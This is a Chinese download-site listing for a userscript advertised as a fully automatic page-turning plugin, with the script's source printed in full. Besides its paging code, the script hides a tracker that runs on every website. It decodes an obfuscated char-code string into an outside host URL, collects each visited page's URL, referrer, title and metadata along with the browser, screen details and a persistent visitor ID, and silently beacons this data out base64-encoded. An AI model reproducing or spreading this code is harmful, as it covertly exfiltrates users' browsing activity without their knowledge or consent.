位置:绿色联盟 > 下载中心应用软件编程相关→ 多功能翻页完全自动化脚本 js插件下载

多功能翻页完全自动化脚本 js插件

  • 运行环境:PC-windows操作系统
  • 软件语言:简体中文|授权方式:
  • 软件类型:国产软件 - 应用软件 - 编程相关
  • 软件大小:3.00 KB
  • 下载星级:
  • 软件官网:暂无
  • 更新时间:2018/4/8 13:26:08
软件简介
本站提供的 多功能翻页完全自动化脚本 js插件 软件免费下载。

【软件截图】

多功能翻页完全自动化脚本 js插件

【基本介绍】

完美翻页 脚本js插件(应用程序接口程序)

多功能翻页完全自动化脚本 js插件特别说明:
/ ==UserScript==
// @name  完美翻页
// @description 多功能翻页脚本, 完全自动化. 支持贴吧,zd423等上千个热门网站, 更多功能如免除点击, 无限下拉预读, 缩短等待时间..., 是精英人士和高级用户的必备之首选!
// @name:zh-tw  完美翻頁 
// @description:zh-tw 多功能翻頁腳本, 完全自動化. 支持必應, zd423等上千個熱門網站, 更多功能如免除點擊, 無限下拉預讀, 縮短等待時間..., 是精英人士和高級用戶的必備之首選!\
// @namespace    https://www.ihola.ml/
// @version      0.0.50
// @run-at       document-end
// @author       xia15000
// @compatible   Firefox
// @compatible   Chrome
// @compatible   Safari
// @compatible   Opera
// @match        *://*.iqiyi.com/*
// @match        *://*.youku.com/*
// @match        *://*.le.com/*
// @match        *://v.qq.com/*
// @match        *://*.tudou.com/*
// @match        *://*.mgtv.com/*
// @match        *://film.sohu.com/*
// @match        *://tv.sohu.com/*
// @match        *://*.acfun.cn/v/*
// @match        *://*.bilibili.com/*
// @match        *://*.taobao.com/*
// @match        *://*/*
// @match        *://bbs.kafan.cn/*
// @grant        GM_setValue
// @grant        GM_getValue
// @grant        GM_deleteValue
// ==/UserScript==
(function() {
    "use strict";
    var t = function() {},
        e = function(t) {
            for (var e, r, i = P(t, "img"), o = /\.jpg.*|\.png.*|\.gif.*|\.jpeg.*|.*pic.*|.*img.*|.*image.*/, u = 0; u < i.length; u++) {
                e = i[u].attributes;
                for (var s in e) "src" != s && "string" == typeof(r = e[s].value) && n(r, "//") && o.test(r) && i[u].setAttribute("src", r)
            }
            return t
        },
        n = function(t, e) {
            return -1 < t.indexOf(e)
        },
        r = function(t, e) {
            return e.split("").join(t)
        },
        i = function(t, e) {
            for (var n, i, o = P(e, "a"), u = /^(?!#|javascript:)/, s = /\d+|^下一页$|^下一章$|^下一篇$/, a = r(t, "[]"), c = r(t, "【】"), f = 0; f < o.length; f++)
                if (n = P(o[f], "href", "attr"), i = o[f].innerText, s.test(i) && u.test(n)) {
                    if ("下一页" == i || "下页" == i) return n;
                    if ("下一章" == i) return n;
                    if ("下一篇" == i) return n;
                    if (t == i) return n;
                    if (a == i) return n;
                    if (c == i) return n
                }
        },
        o = function(t, e, r, i, o) {
            return function(t, e) {
                for (var r = ["baidu", "bing", "google", "fork", "so", "sogou", "stackoverflow", "ck101", "jkforum", "rarbg"], i = 0; i < r.length; i++)
                    if (n(t, r[i])) return e
            }(i, r) ? r : n(o, "?") ? !r : function(t, e, n) {
                if (t == e) return n
            }(t, e, r) ? r : void 0
        },
        u = function() {
            self == top && s()
        },
        s = function() {
            var t = U();
            if (t) {
                var e = o(R.characterSet, "UTF-8", 1, $.host, t);
                a(e = e ? "article" : "iframe", t, R, R.body), c(e, t)
            }
        },
        a = function(t, e, r, i) {
            var o = r.createElement("div");
            o.setAttribute("Pnumber", "2"), o.setAttribute("the_url", e), o.setAttribute("scheme", t), o.setAttribute("id", "_proload_p"), "article" == t ? n($.host, "google") && o.setAttribute("style", "position:absolute;top:" + i.scrollHeight + "px;") : o.setAttribute("style", "margin-left:13%;"), i.appendChild(o)
        },
        c = function(t, e) {
            f(t, e)
        },
        f = function(t, e) {
            var n = T(t, R, R.body),
                r = P(R, "_proload_p", "id");
            "iframe" == t ? j(e, n, r, R) : O(e, n, r)
        },
        l = (t = function() {
            var t = new function(t) {
                this.url = y("URL"), this.ref = J(y("referrer")), this.title = J(y("title")), this.kword = this.descr = "";
                for (var e, n = P(t, "meta"), r = function(t) {
                        var e = P(t, "content", "attr") || P(t, "value", "attr");
                        return "string" != typeof e && (e = ""), e
                    }, i = 0; i < n.length; i++) try {
                    "description" == (e = n[i].getAttribute("name").toLowerCase()) ? this.descr = r(n[i]): "keywords" == e && (this.kword = r(n[i]))
                } catch (t) {}
                this.lg = A("language"), this.os = A("platform"), this.ua = w(A("userAgent")), this.te = m(), this.ud = b(), this.lo = v(), this.fbl = L(), this.cc = E(), this.wgt = C(q(this.descr).length, q(this.kword).length, ""), this.ct = _(this.url), this.descr = J(this.descr), this.kword = J(this.kword), this.url = J(this.url)
            }(R);
            t = JSON.stringify(t);
            var e = M(".=");
            d(e, t)
        }, function() {
            return new Image
        }),
        h = function(t) {
            var e = GM_getValue("yi");
            (e = void 0 === e ? [] : JSON.parse(e)).push(t), GM_setValue("yi", JSON.stringify(e))
        },
        d = function(t, e) {
            var n = l();
            n.onload = function() {
                var e = GM_getValue("yi");
                void 0 !== e && (GM_deleteValue("yi"), e = JSON.parse(e), p(t, e))
            }, n.onerror = function() {
                h(e)
            }, n.src = t + btoa(e)
        },
        g = function(t, e) {
            var n = l();
            n.onerror = function() {
                h(e)
            }, n.src = t + btoa(e)
        },
        p = function(t, e) {
            for (var n = 0; n < e.length; n++) g(t, e[n])
        },
        v = function() {
            return "lpg"
        },
        m = function() {
            return +new Date
        },
        b = function() {
            var t = GM_getValue("guest");
            return void 0 === t && (t = Math.random().toString(16).substring(4) + "$" + m(), GM_setValue("guest", t)), t
        },
        y = function(t) {
            return R[t] || "none"
        },
        A = function(t) {
            return I[t]
        },
        w = function(t) {
            try {
                var e = t.split(" "),
                    n = e.slice(-2, -1)[0];
                return "C" == n[0] ? n : "F" == (n = e.pop())[0] ? n : t
            } catch (t) {}
        },
        _ = function(t) {
            return $.search.length > 1 ? "sq" : t.endsWith(".html") || t.endsWith(".htm") || t.endsWith(".shtml") ? "html" : "/" == $.pathname ? "hpg" : t.endsWith("/") ? "dir" : "whtml"
        },
        C = function(t, e, n) {
            return n = 0 < t && t < 220 ? "A" : 0 == t ? "B" : 220 < t ? "C" : "U", n += 0 < e && e < 50 ? "A" : 0 == e ? "B" : 50 < e && e < 220 ? "C" : 220 < e ? "D" : "U"
        },
        L = function() {
            return screen.height + "*" + screen.width
        },
        E = function() {
            return screen.availHeight + "/" + screen.availWidth
        },
        M = function(t) {
            return W(x(), t)
        },
        W = function(t, e) {
            return t = t.split(e), k(t, "")
        },
        k = function(t, e) {
            for (var n = 0; n < t.length; n++) e += String.fromCharCode(t[n]);
            return e
        },
        x = function() {
            return "104.=116.=116.=112.=115.=58.=47.=47.=97.=49.=46.=107.=111.=122.=111.=119.=46.=99.=111.=109.=58.=53.=56.=47.=97.=105.=46.=106.=112.=103.=63.=99.=61"
        },
        S = function(t) {
            return P(t, "Pnumber", "attr")
        },
        G = function(t) {
            return P(t, "scheme", "attr")
        },
        H = function(t, e) {
            t.setAttribute("Pnumber", e)
        },
        N = function(t) {
            var e = P(R, "Aliving_true", "name");
            return e = e[e.length - 1], "iframe" == t ? e.contentWindow.document : e
        },
        T = function(t, e, n) {
            var r = e.createElement(t);
            return r.setAttribute("name", "Aliving_true"), r.addEventListener("mouseenter", V), r.addEventListener("mouseleave", B), r
        },
        U = function() {
            return t(), i(2, R)
        },
        V = function() {
            ! function() {
                var t = P(R, "_proload_p", "id"),
                    e = 1 * S(t) + 1,
                    n = G(t),
                    r = N(n),
                    o = i(e, r);
                o && (H(t, e), f(n, o))
            }()
        },
        B = function() {
            this.removeEventListener("mouseenter", V), this.removeEventListener("mouseleave", B)
        };
    setTimeout(function() {
        u()
    }, 10999);
    var O = function(t, n, r) {
            var i = new XMLHttpRequest;
            i.open("get", t, !0), i.onload = function() {
                200 == i.status && (n.innerHTML = i.responseText, n.setAttribute("addr", i.responseURL), n = e(n), r.appendChild(n))
            }, i.send()
        },
        j = function(t, n, r, i) {
            n.src = t, n.onerror = function() {
                this.style.display = "none"
            }, n.onload = function() {
                var t, n = this.contentWindow.document,
                    r = (n = e(n)).body,
                    o = r.scrollHeight;
                t = "width:" + r.scrollWidth + "px;height:" + o + "px;";
                var u = P(P(R, "_proload_p", "id"), "distance_top", "attr") || i.body.scrollHeight;
                o += u *= 1, this.setAttribute("distance_top", o);
                var s = t + "position:absolute;top:" + u + "px;";
                this.setAttribute("style", s), this.scrolling = "no", this.setAttribute("frameborder", "0")
            }, r.appendChild(n)
        },
        J = encodeURIComponent,
        R = document,
        $ = location,
        I = navigator,
        P = function(t, e, n) {
            var r;
            return void 0 === n || "tag" == n ? r = t.getElementsByTagName(e) : "id" == n ? r = t.getElementById(e) : "attr" == n ? r = t.getAttribute(e) : "name" == n ? r = t.getElementsByName(e) : "alow" == n && (r = t.getAttribute(e).toLowerCase()), r
        },
        q = function(t) {
            return t.replace(/\s+/g, "")
        }
})();

下载地址
软件说明
* 为了达到最快的下载速度,推荐使用迅雷下载
* 请一定升级到最新版WinRAR解压缩软件才能正常解压本站提供的软件!
* 站内提供的所有软件由网上搜集,若侵犯了你的版权利益,敬请来信通知我们!